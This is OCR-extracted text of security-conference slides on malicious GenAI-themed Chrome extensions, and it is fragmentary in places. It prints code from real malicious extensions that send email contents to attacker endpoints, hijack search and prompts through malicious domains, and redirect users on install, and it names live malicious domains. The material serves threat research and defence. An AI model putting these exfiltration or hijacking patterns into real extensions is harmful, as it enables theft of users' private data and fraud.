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I About the Speaker

Shresta B. Seetharam
sseetharam@paloaltonetworks.com

e Senior Researcher at Palo Alto Networks
e Over 5 years specializing in Web Security Research
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e Malicious JavaScript detection
e Compromised Website detection
e Browser Extension Security
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@shrestabs
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Highlighting Three Browser Extension threats You’ll See Today!

Adversary-in-the-

browser attack Impersonation Prompt Hijackers

Perplexity search

< Share

d DeepSeek AI

Generate replies
2 What do you want to know?
o Ask anything,
' get personal
answers
We reported via PANW Unit42 in Initially Report by Domain Tools We report via PANW Unit42 in Sept
Aug 2025 Intel in May 2025 2025

4%y paloalto’ | z'uniT a2t
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What we’ll be talking about today

1. GenAl and Browser Extensions: Demand for GenAl features is shifting the extension landscape.

2. Refresher on Browser Extensions

3. Deep dive into attacker tactics drawing on findings from over 154 malicious extensions we reported
in recent months, spanning multiple threat types such as,

a. Data exfiltration

i.  Adversary-in-the-browser
i. Impersonation, Dual functionality, Bait and Switch
iii.  Prompt Hijackers

b. Malicious redirection

i. Affiliate fraud

ii. PUP deliver

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.



Part 1: Demand for GenAl Features
Shifts Browser Extension Landscape

Generated by gemini nano banana
Caption: GenAl Express Pulls Into the Extension Station
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The Browser landscape is changing as we speak

Global Al Browser Market W Al-Powered Web Browsers

Size, By Type, 2025-2034 (USD Billion) I_l Al Browser Extensions/Add-ons
90 Al-Integrated Browsers for Specific Tasks
80 76.8
70

60
50

57.8
43.5

40 32.8
30 24.7

- 18.6
20 - 105 4,
" omoom B EE
- N

2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034

o

The Market will Grow 39 89, TheForecasted Market $76.8B A\l market.us

At the CAGR of: Size for 2034 in USD:

Market.us Report. “Al Browser Market Growth Projections.” July 2025.
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Increase in demand

e Users want to increase their productivity from Al features
e Google SEO keyword stats show 900% increase in “chrome extensions ai” keyword searched

YoY

Keyword J change

chrome extension ai +900%

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.



Increase in supply

e New categories Al-Powered extensions indexed on the chrome store

e Hundreds of new Al-Extensions each week

& Merlin

Your Personal Al assistant
powered by GPT 4

>.¢  Merlin- Ask Al to Researc...

W 48k (B0

26-in-1Chrome extension to Research, Re-

write, and Summarise content on any
website

@ Monica

Your All-in-One Al Assistant

@cnat G image B Summerize
Zwie  Qsewch B Tramiate

Monica: ChatGPT Al...
4.9 % (29K) ©

Your Al assistant with GPT-4, DeepSeeks:
more. Chat, search, wite, translate, create
imagestideos anywhere.

Al-powered extensions

Elevate your browser with Generative Al powered extensions

= Voila

Personal Al Assistant
powered by GPT 4

Voila - Al Assistant, Copil...
47 % (202) ©

Seamless personal Al assistant powered by
GPT-4.1to help you create, write, summarize,
brainstorm, and research on any website.

Chrom orite o

Sider: Al Sidebar

Sider: Chat with all Al: GP...
4.9 % (105.4K) ©
ChatGPT, DeepSeek, Gemini, Claude, Grok all

in one Al sidebar, for Al search, read, and
write.

@ I/Magical
Automate your tasks.
Like magic.
-
Lo 4

@ Magical: Text Expander &...
4.4 % (3.6K) ©

Magical i a text expander and autofl
automation app used by over 100K
companies. Expand text like magic and aut...

© Jetwriter Al

Allin-one Al Assistant: nstant Help, Anywhere.
*Claude BT Gerin

meumEeOC

Jetwriter Al (formerly...
4.6 % (14K) ©
Write emals, correct grammar, translate,

research, and do much more. One-click
access to top Al models and many more...

> §
|- W]
O
.M 5
GPT for Google Workspace

(/‘ GPT Workspace
1 %)

49 % (73K) ©

Run GPT in Google Workspace: use ChatGPT
into Google Slides, Docs, Sheets, Drive and
Gmail.

Support all popular search engine

ChatGPT for Google

4.6 % (3.9 ©
Display ChatGPT response alongside search
engine results

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.

Growth of Al-Summarizing Chrome Extensions

50

40

30

20

extension count

2022

2023

2024 2025

Year

Example popular Al-powered extension
category
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Refresher on Browser Extensions



What are Browser Extensions?

e Software add-ons that extend the functionality of the browser
e Typically, built using HTML, CSS, and JavaScript

<« (&) \® Chrome chrome://extensions

® Extensions

Load unpacked Pack extension Update

£} My extensions B Your browser is managed by paloaltonetworks.com

[ Keyboard shortcuts
All Extensions

Developing extenzionstStay Endpoint Verification 1.134.0 Grammarly: Al Writing Assistant an... 14.1254.0
up to date on What's New with S : A .
Chrome Extension developer Allows Google Workspace administrators to Improve your writing with all-in-one assistance
documentation. view laptop and desktop status, including OS, —including generative Al, grammar check, and
device, and user information. more.
ID: kbfnbcaeplbcioakkpcpgfkobkghlhen
Discover more ID: callobklhcbilhphinckomhgkigmfocg Inspect views service worker
=] extensions and themes

on the Chrome Web Details Details Remove
Store

Okta Browser Plugin 6.43.1 Zoom Chrome Extension 1.9.8

Work outside the perimeter Schedule Zoom meetings directly from Google
Calendar

ID: glnpjglilkicbckjpbgcfkogebgliemb ID: kgjfgplpablkjnlkjmjdecgdpfankdle

Details Details

Example: Grammarly, Zoom Chrome extensions

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloaltt)“



We’ll scope this talk to

Extensions from the Chrome Web Store




As of 2025, Lot of people use lot of extensions

25 chromewebstore.google.com

£ chrome web store Q Search extensions and themes & e

Discover  Extensions  Themes

e Chrome store
estimated* to have
. Welcome to the Chrome Web Store
~ 1 8 0 y O 0 O exte n S | O n S Supercharge your browser with extensions and themes for Chrome.

e v@AL
e Extensions may have

108 Of UpdateS a Top categories
month

Communication Y Education o Tools * Workflow & Planning (@8 Developer Tools ©

Your productivity toolkit See more

Transform the way you work with Chrome extensions

to

e Typical users installs ) e
(€ N ekl HIGHLIGHTY
8 - 1 2 exte nsions StayFocusd Boomerang for Gl { . searh. Finc, S
StayFocusd - Website... Tab Manager by Workona Boomerang for Gmail Otto: Pomodoro timer and... Highlighty: Search, Find,...
4.6 % (37K © 4.2% (21K © 45% (213) © 39% (53 ©

*https://arxiv.org/pdf/2406.12710

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloalto
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Architecture overview of an extension



1.

Architecture overview of an extension

Service worker(background script) - runs
in the background, handling events and core
extension logic

Content script - injected into web pages,

Message passing

can read or modify page content (DOM). ,{

Popup - Ul window that appears when the
extension icon is clicked

Manifest.json - Config file defines an
extension’s permissions, scripts, and
behavior

Ul elements

CRX - file format used to distribute
extensions

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.
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Archltecture overview highlighting Ul elements - legitimate M| oft extension

25 chromewebstore.google.com/detail/microsoft-single-sign-on/ppnbnpeolgkicgegkbkbjmhlideopiji

e web store ppnbnpeolgkicgegkbkbj

eop Ij& ISearch extensions and themes

Extensions Themes

Popup

=. Microsoft Single Sign On

Remove from Chrome

2.4 % (817 ratings) < Share

Extension Workflow & Planning 34,000,000 users

O B @ N

Microsoft Single Sign On

Instantly access accounts added to Windows Extlen3|on D - Gan't readd or change sie's dlata
or macOS without re-entering user credentials Unique
Before After 32_CharaCter Remove from Chrome
alphanumeric hash
B Murosott B Maroson =
’ iy s ,  for the CRX Bnpie
: e

. Manage extension

View web permissions

Inspect popup

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.
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Architecture overview highlighting backend
elements with legitimate Microsoft extension

v ppnbnpe cicgegkbkbjmhlideopiji

> _metadata

windows48.png

Example unpacked CRX

chrome. runtime.onMessage.addListener(
> request, sender, sendResponse)
);

chrome.action.onClicked.addListener( ab) {
chrome.tabs.create({ url: 'https://www.office.com' });

);

packground.|s (service worker)

> window.addEventListener(
); p

var 0S = null;

170 |
content.js

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.

"manifest_version": 3,

"name": "Dummy Microsoft Single Sign On",
"description'": "Modified for Virus Bulletin 2025",

"version": "1.0.11",
"host_permissions": |

"<all_urls>"
1:
"background": {

"service_worker": "background.js"
}I
"content_scripts":

"matches": ["https://x/x"],
Sisii M contentiyst]”
"run_at": "document_start"

1,

"permissions": ||
"nativeMessaging",
"scripting",
"storage"

Manifest.json

%o paloalto



demo_ext > Js background.js > ...
i

chrome. runtime.onMessage.addListener((message, sender, sendResponse) => {
Toy example demonstrates

console. log(" [background.js] Received message:", message);

message passing
between content scripts and Promise resolve =>
background scripts

setTimeout(resolve, 50));

t reply = "Hello from background to ${message.source || "unknown"}!";
console. log(" [background.js] Sending response:", reply);
% VB 2025 Talk Ext 1.0 sendResponse(reply);
HO;

return t

ID: ikbjidcjhmfoioidpkpndphakigdjbla });

Inspect views service worker

[background.js] Received message:
» {greet 1y 'hello’, source: ‘'content’
Details Remove c © 2

d.js] Sending response: Hi from background.js:]
backgpbund to content script!

demo_ext > Js content.js >

Y .

s essage passi
console.log(" [content.js] Sending message to background");
try {

const response = await chrome.runtime.sendMessage({ greeting: "hello", source: "contgdt" })
console.log(" [content.js] Received response:", response);
} catch (err) A
console.error(" [content.js] Error:", err);
10
[content.js] Sending message to background

[content.js] Received response: Hi from background to content script!

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.
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Broad permissions in manifest.json
Background script can communicate with any resource on the web All permissions

"manifest_version": 3,
"name": "VB 2025 Talk Ext",
"version": "1.0.0",
"description": "Demonstrates how a Chrome extegSion with broad permissions and re¥axed CSP can be extremely risky.",
"background": {
"service_worker": "background.js"

h

"permissions": ["tabs","cookies","histbry","bookmarks",'"storage","down¥ads","webRequest","webRequestBlocking","activeTab",

"scripting","alarms","notificationsy, "clipboardRead","clipboardwWrite","declarativeNetRequest","declarativeNetRequestFeedback",
"management","topSites","proxy","Mentity","nativeMessaging","idle"],
"host_permissions": [ "<all_urls>"],

"content_scripts": [

"matches": ["<all_urls>"],
"js": ["content.js"],
“"run_at": "document_JMgart"

1,
"content_security golicy": {"extension_pages": "script-src 'self' 'unsafe-eval' 'unsafe-inline' %; object-src x"}

Content script loaded into all pages Can execute JavaScript from any domain

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloaltO“



Part 2 - Deep dive into attacker tactics

Generated by gemini nano banana
Caption: GenAl Express Goes Off-Rails

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloaltO’
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Data Exfiltration -
Adversary-in-the-browser



Adversary-in-the-browser - Setup

Adversary Sarah (VP)
(Employee) (Browser Extension)

*Gemini generated

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. _



Frank installs ‘Supersonic Al’ extension rated 5/5 stars

@ Supersonic Al

gosupersonic.email 5.0 % (2 ratings) < Share

Extension Tools 24 users

5 out of 5 % % % % %
@ Su personic AI 2ratings + Learn more about results and reviews.

Filter by Sort by Language
All reviews ) Recent [ English

gosupersonic.email 5.0 % (2 ratings) <« Share

Extension el 54 users Dimitris Panagiotopoulos ¥ v ¥ % % Aug 8, 2025

This is such an amazing tool. The email summaries is an awesome feature.

Was this helpful? iy gJ

Arlan Marat v % % % % Aug 6, 2025
Best Al extension for mails | have ever used!

Was this helpful? 5 £x

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.




Features of Supersonic Al extension

@ Supersonic Al

gosupersonic.email 5.0 % (2 ratings) <« Share

Feature 1 Extension Tools 24 users Feature 2

Generate replies Email summaries

Email summary TL;DR

© 2 Sans Serif Pioneer Fund invests in YC founders or alum founders, rarely exc

James Fong <james@pioneerfund.vc

to Arsen, me v

Sorry to hear that Arsen, that can be tough to navigate, but | always say
can sync up then? If you get an interview scheduled with YC, | can help

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.



Frank receives confidential information regarding M&A from Sarah

Hi Frank,

As discussed, I've attached the draft Q3 strategy deck and the preliminary Fontract terms for the ZebraWorks acquisition|Please review the redlines, especially on Slide 12 (integration
timelines) and Section 4.2 of the contract doc regarding data retention.

We should keep this under wraps until legal gives us final clearance.[Please do not forward outside dur M&A working group (Sarah, Daniel, Priya, Tom L.).

Let me know if you have any blockers before Friday's call with ZebraWorks execs.

Best,
Sarah

Sarah Mitchell

VP Corporate Development
AcmeCorp Inc.

(555) 123-4567
sarah.mitchell@acmecorp.com

Attachments:
e Q3_Acquisition_Strategy_v8.pptx

e ZebraWorks_TermSheet_Draft.pdf

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloalt‘



Supersonic Al extension “Generate reply” feature crafts the email

Frank assures that
information will be
confidential on their behalf

Thank you for sending ove € draft Q3 strategy deck and preliminary contract terms for the ZebraWorks acquisition. I've reviewed the attached documents, and I'll provide my
feedback on Slide 12 (intefdtion timelines) and Section 4.2 of the contract doc regarding da

'll ensure that this information remains confidential upi®we receive final clearance from legal and will not share it outside our M&A working group. I'm ready for Friday's call with

ZeDraorRTeneesendsionisvewerePBIOtRErS at this point

Best regards,

Frank

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary a



Behind the scenes of “Generate reply” feature - Content script

// Make API request via background script with chat history and

const response = await new Promise((resolve, reject) => {
chrome. runtime.sendMessage({ :3
action: 'generateReply',

\ data: {

email_content: lastEmailContent,

showReplyGeneratorPopup() { tone: tone,
console.log(''t Opening Reply Generator'); context: 'Reply to the last email in this thread',
chat_history: chatHistory,
‘\\\\\ feedback_messages: feedbackMessages
}

Jsisition. I've reviewed the attached docul

// Add click handler
generateReplyBtn.addEventListener('click', () => {
this.handleGenerateReply();

k)G

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.




Behind the scenes of “Generate reply”
feature - Service worker

// Background script to handle API calls

chrome. runtime.onMessage.addListener((request, sendél, sendResponse) =>

if (request.action === 'generateReply') {
generateReply(request.data)

async function generateReply(requestData) {
try {
console.log('s” Background script making API request...');

’

Name X Headers
© generate-summary/

@ generate-reply/

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.

Response

get API_BASE_URL() {

'https://api.gosupersonic.email’ :

Y Ty ,

}
get ENDPOINTS() {
return {
GENERATE_REPLY: “${this.API_BASE_URL}/api/generate-reply/",
{ GENERATE_SUMMARY: ‘${this.API_BASE_URL}/api/generate-summary/",
i

«u:ist response|= await fetch(CONFIG.ENDPOINTS.GENERATE_REPLW, {
method: 'POSTT,
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': ‘Token ${token}’,

6

}
body: JSON.stringify(requestData)

Initiator  Timing

ve attached the draft Q3 st

orpora
ZebraWorl p out reply
Loading...Loading rich text... « ing Resume Editin
\n Sans Serif n plain

ly to the last email in thi



Frank opens emails, does not interact with extension’s features

M Gmail Q_ frank, your pin

Compose

Frank, here's your PIN 758643

Inbox

Starred §
Email summary

Snoozed
Sent

Drafts

More m Linkedin &

Labels

Linkedm Frank Drabin
Hi Frank,

Enter this code to complete the reset.

758643

If you didn’t request this pin, we recommend you change your
LinkedIn password.

Go to Settings & Privacy > Sign in & security > Change password
To further secure your account, you should also:

@® Upgrade Enable two-step verification

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.




Attacker has control of Frank’s Linkedin account
M Gmail Q_ frank, your pin Supersonic search | X

Compose
Frank, here's your PIN 758643
Inbox
Starred

Email summary TL,DR
Snoozed

Sent

Drafts

Mors Linkedin &
in JE G DevTools

Labels

Linked
Console  Sources Network Performance Memory Application

Hi Frank,

- o —~
gt ot conphis AR D) Y Q Preserve log [ Disable cache Nothrotting ~ %

758643 Y Filter

If you didn’t request this pii

Linkedin password. All Fetch/XAR==Qoc | CSS ' JS Font | Img ' Media Manifest | Socket | Wasm | Other

Go to Settings & Privacy >

(L) Big request rows (L) Group by frame

To further secure your acco

[7] Overview [ Sereenc c
@ Upgrade Enable two-step verificati UVErview — S“ e:n"hOt"

Name X Headers Payload Preview~Response Initiator  Timi

o o / . = .7 QT g

& generate-summary/ v {content: "Verify your LinkedIn account with c®8@ 758643
content: "Ve 50
created_at:

summary_type:

& vour ( ~00e » Ta] 0L 2]

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.




Extension is still live and domain still undetected by most VT vendors

@ Supersonic Al

gosupersonic.email 5.0 % (2 ratings) <« Share

"permissions"
"storage",
"background"

Extensior Tools 24 users

Q__gnttps://api.gosupersonic.email/

‘host_permissions.
" @ 1/97 security vendor flagged this URL as malicious

"https g //api .gosupersonic.email/*",
"https://gosupersonic.email/*"

https://api.gosupersonic.email/
api.gosupersonic.email

Community

TR
Score application/json

Manifest.json

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.



For the complete list of IOCs and extended examples, refer to our Unit 42 post

e https://x.com/Unit42 Intel/status/1955021996707713356

https://x.com/Unit42_Intel/status/1955021996707713356



https://x.com/Unit42_Intel/status/1955021996707713356

Data Exfiltration - Impersonation, Dual
functionality, Bait-and-Switch

* Reported by DomainTools Intelligence team



Tactics

e Impersonation

e Dual functionality

e Bait-and-Switch Update




Impersonation

d DeepSeek AI

& The 2028 rising trend!

Ask anything,
get personal
answers

d DeepSeek Al

Create social
media posts
in seconds

4 Do you work with clients? | can

y Diet tracking?

Every 3rd bouquet is free in
my flower shop

Write a Facebook post about it

& We've got a sweet surprise for you! &

At our shop, every third bouguet is on us - a little
way of sharing beauty and happiness with you! &

Whether you're celebrating a special moment or
simply bringing joy to your da:
that extra touch of love an

Come by and let's make your day brighter! ¥

% [Shop location]
<, [Contact info]

With love, [Yo p name] %
#FlowerLove # ThirdBouquetFree
#BloomWithUs

e

) Manus Al

& The 2025 rising trend!

Ask anything,
get personal
answers

]

¥ Manus Al

Create social
media posts
in seconds

How can you help me?

¥4 Do you work with clients? | can
create emails in

% Diet tracking? Let me calculate your macros!

® Student life? Let me create notes
or a quick cheat sheet!

. Into sports? | can make a personal
workout plan for you!

Still need more? &

No, let's go for something epict

Every 3rd bouquet is free in
my flower shop

Write a Facebook post about it

& We've got a sweet surprise for you! §

At our shop, every third bouquet is on us - a little
way of sharing beauty and happiness with you!

Whether you're celebrating a special moment or
simply bringing joy to your day, we're here to add
that extra touch of love and warmth. ¥

shop name] %
#EveryThirdBouquetFree

Modern
interface and
look alike logo
Original
functionality
preserved
~350 total
installs

DeepSeek Al | Free Al Assistant deepseek-ai[.]link Manus Al | Free Al Assistant by manusai[.]Jbuzz

*Data source: chrome-stats.com

4 paloaltd®
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Dual functionality* - User is unaware of exfiltration

& NewTeb

DeepSeek Al | Free Al Assistant X Im personatlon

@ Hello! How can I assist you today? @

Why is the sky blue? Ori i na
ginal

Of course! That's a classic question with a beautiful scientific answer. fu n Ct I O n al Ity

The short answer is: The sky is blue because of the way Earth's atmosphere

scatters sunlight.

Here's a more detailed breakdown of how it works:

1. Sunlight is Not Just Yellow

Even though it looks yellow to us, light from the sun is actually white and is

composed of all the colors of the rainbow (red, orange, yellow, green, blue

indigo, violet). Each of these colors has a different wavelength and energy level

* Reported by DomainTools Intelligence team

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloa_-



Extension communicates with malicious endpoint

¢ DevTools

Console  Sources ) rk Performance  Memory  Application

All Fetch/XHR  Doc CSS Img Media Manifest

A Method Domain y Initiator

POST api.deeps

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. _




Bait-a_nd-Switch Update - Two Benign Versions then Malicious

DeepSeek Al | Free Al
Assistant

e 0.0.1 - Benign
e 0.0.2 - Benign
. 3 0.1 ... then betrayal

Re- obfusoate

m  Alow reputation
endpoint seen in
service worker script

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.

2157

2156 if (typeof w
?E=X-==nu

us(E, function($) {

),

if (o

return $ instanceo

E === null) {

)

turn p & IC ? (
pect-error // @ts-expect-error
p(e, Z.encoder, R, "key", b)

// @ts-ex|

= {

CLI_CEB_DEV:
CLI_CEB_FIREFOX:
CEB_ENCRYPT_LOCAL_STORAGE:

== "functi
11 ? void 0 : x(E) Pt

" ?7E= w(e E) : E instanceof Date
ma" & Se(E) & (E =

== "function" ? E = w(e, E) : E instanceof Date
? void @ : b(E) : t === "comma" && _e(E) && (E =

if (typeof

f Date ? X == null ? void @ : x($) 10 return k instanceof Date ? b == null ? voi
= null) {

turn p && 1S ? (

p(e, Y.encoder, I, "key", A)

) H
E =
}

if ($i(E) || Bi(E)) {

"false",
"false",
ShEues;

CEB_BASE_URL: ["https://api.glimmerbloop.top/api", |

CEB_STARTUP_DELAY:
CEB_ACTIVITY_TIMEOUT:
CEB_REDIRECT_URL:
CEB_INSTALL_ENDPOINT:
CEB_NODE_ENV:

215

ngn
"https://wwwJgoogle.com",
"/v2/insgall",
"production"

Dif?With endpoint added in the 8000 lines of background script




Manus Al | Free Al Assistant timeline

e March-20-2025 - Extension created

e May-20- 2025 - Initial disclosure by DomainTools
https://dti.domaintools.com/dual-function-malware-chrome-extensions/

e June-30-2025 - At 100+ user install and Removed from Chrome store*

*Data source: chrome-stats.com


https://dti.domaintools.com/dual-function-malware-chrome-extensions/

Malicious Redirects - Search
Hijacking



]
Al-Powered Search is

Attacker-hijacked

SearCh () 10/95 security vendors flagged this domain as malicious

Did you intend to search across thd

10

/95

chatgptforchrome.com

Chat Al for Chrome

Community

Score dga

"chrome_settings_overrides" :\{ L
"search_provider": { Known malicious
Ask Me Anything. "name": "", domain
"keyword": "chatgpt",
"search_url": "https://chatgptfdrchrome.com/auto-suggest/search.php?q=
{searchTerms}",
"suggest_url": "https:/jchatgptforchrome.comjauto-suggest/?q={searchTerms}",
"favicon_url": "https://chatgptforchrome.com/favicon.ico",
"encoding": "UTF-8",
"is_default": true
}
}
} Extension settings from manifest.json
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gpt why is the sky blue

gpt why is the sky blue - Search

gpt why is the sky blue color

gpt why is the sky blue background

gpt why is the sky blue light

gpt why is the sky blue code

Type in "GPT" + Any Question to Speak With Chat Al anytime.
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Malicious domain described in extension description!

25 chromewebstore.google.com/detail/chat-ai-for-chrome/jhhjbaicgmecddbaobeobkikgmfffaeg

Q  Search extensions and themes

emes

Chat Al for Chrome

< Share

Q  chatgptforchrome.com
Extension Tools 184 users

\ (@ 10/95 security vendors flagged this domain as malicious

10

Ask Me Anything. /95
chatgptforchrome.com

° Community

Score e

Overview

Enhanced search experience with Al Search for Chrome

Transform your browsing experience with Chat Al for Chrome — the fastest and easiest way to get answers, insights, and conversations without
leaving your search bar. Our extension enhances your browsing by setting your default search to chatgptforchrome.com, powered by Yahoo,
allowing you to instantly chat with the latest Al Models.

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information. % paloalto



Same actor previously created a similar malicious extension

e Details are in our Apr 2023 Unit 42 research

(& & chatgptforchrome.com

ChatGPT Extension - ChatGPT for
Google
ChatGPT response a yside search engine results

GabLbOYOvYDO
Trusted by 600,000+ users

G Add to Chrome *3

Biock s ste
Watch on (28 YouTube
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https://unit42.paloaltonetworks.com/chatgpt-scam-attacks-increasing/

Malicious Redirects - Prompt
Hijacking



Speeding Up Your Perplexity Chat Experience?

Perplexity search e These extensio_ns
are vantage points
% Share for prompt data
collection

Extension Workflow & Planning 30 users

What do you want to know?
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Prompt hijack as seen in the sandbox

what are the best headphones recommendations for running

2 C 9

About Store

Status Domain Remote Address

Path Ur
185.199.110.153:443

Name
perplexity.html?q=what+are... /perplexit.. bftps://dinershtein.com/perplexity.html?q=what+are+t... 200 dinershtein.com
search/?q=what%20are%20t... /search/ https://perplexity.ai/search/?q=what%20are%20the%?2... 301 perplexity.ai 104.18.27.48:443

% 185.199.110.153

23 perplexity.ai/search/what-are-the-best-headphones-r-

what are the best headphones
recommendations for running ;
(@ 2/95 security vendors flagged this IP address as malicious

% Perplexity 12 Shopping @ Images €«® Sources-18 I+ Steps

@ Wahoo X Forum « RTINGS.com © reddit € Wirecutter
The 7 Best Running The current best running The 4 Best Headphones for /r 95
LAy (e sl o IR 185.199.110.153 (185.199.108.0/22)

Best earbuds for running,
Expert t of 2025 -
Community AS 54113 (FASTLY)

Score

Several headphones consistently rank as top recommendations for running, with different designs
suited to varied preferences and budgets. The most often cited models combine secure fit,
water/sweat resistance, long battery life, and good sound quality. Here are the standout options:

Secure Fit & Open-Ear Awareness

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.




Malicious Redirects - Affiliate fraud



Photoroom Al Photo Editor extension

(¢} £} Photoroom Al Photo Editor

a Photoroom Al Photo Editor

Photoroom Al Photo Editor
Choose File | download jfif

5.0 % (1rating) < Share

Extension

Extension has very

basic functionality

.

<
PHOTOROOM

for Chrome
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On extension install it opens deceptive page in a new tab

25 extensioninstallnotifer.com

Sorry, your Chrome version does not

support this extension
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Extension abuses onlnstall event - redirect users to attacker-controlled sites

chrome. runtime.onInstalled.addListener(() => {

a Photoroom Al Photo Editor chrome.tabs.create({
url: “photoroomeditor.html"
};
};
Background script
~ }
PHOTOROOM
gL <body>
<iframe src={'http://photor-extens.uno/'] allowfullscreen></iframe>
</body>

Click redirects the user
through an
attacker-controlled
affiliate link
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For the complete list of IOCs and extended examples, refer to our Unit 42 post

e Part of a larger campaign 68 malicious extensions
https://x.com/Unit42 Intel/status/1957510883233382419

https://x.com/Unit42_Intel/status/1957510883233382419

© 2025 Falo Atto NeteSte iR |:,m_


https://x.com/Unit42_Intel/status/1957510883233382419

Malicious Redirects - PUP delivery

PUP- Potentially Unwanted Program



Cursor mod extension - vector to PUP delivery

e Packages some Pokémon
themed Cursor in the
extension

owhit.com < Share e 200+ user install

Pokemon Cursor % Custom Cursor for
\ Chrome™

Extension Just for Fun 202 users
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Popup embeds grayware domain for more cursors

e Example not Not a GenAl themed but technique is relevant

Get More Cursors Reset Cursor

Q Pokemon Cursor % Custom Cursor for

-~ Chrome™

Pop up with option to “Get More Cursors“ embeds
link to grayware domain owhit[.Jcom

"action": {
"default_popup": “cursorpopup.html”
) 8

<div class="puttemsactions’>
<a href='https://owhit.com/"|class="action-btn pink" target="_blank">Get More Cursors</a>

cursarpopup.html
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Domain leads to PUP delivery

only 2 teps

Download & b
et

© 2025 Palo Alto Networks, Inc. All rights reserved. Proprietary and confidential information.

Installed - Chrome Extension
%) Better Search

Enhance your browsing experience with Better Search, a free Chrome extension that

revolutionizes your search capabilities.

Compatible with your browser &

Try Again




For the complete list of IOCs and extended examples, refer to our Unit 42 post

e https://x.com/Unit42 Intel/status/1957564228081988038
https://x.com/Unit42_Intel/status/1957564228081988038
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Summary

e We are seeing high demand and supply of GenAl extensions

e Rising Al feature demand in extensions is being abused to exfiltrate sensitive user data such as
emails, messages, search queries.

e Attackers abuse privileged extension features and APIs to perform malicious redirects, profiting
through affiliate fraud while also exposing users to significant risks such as PUPs and adware.
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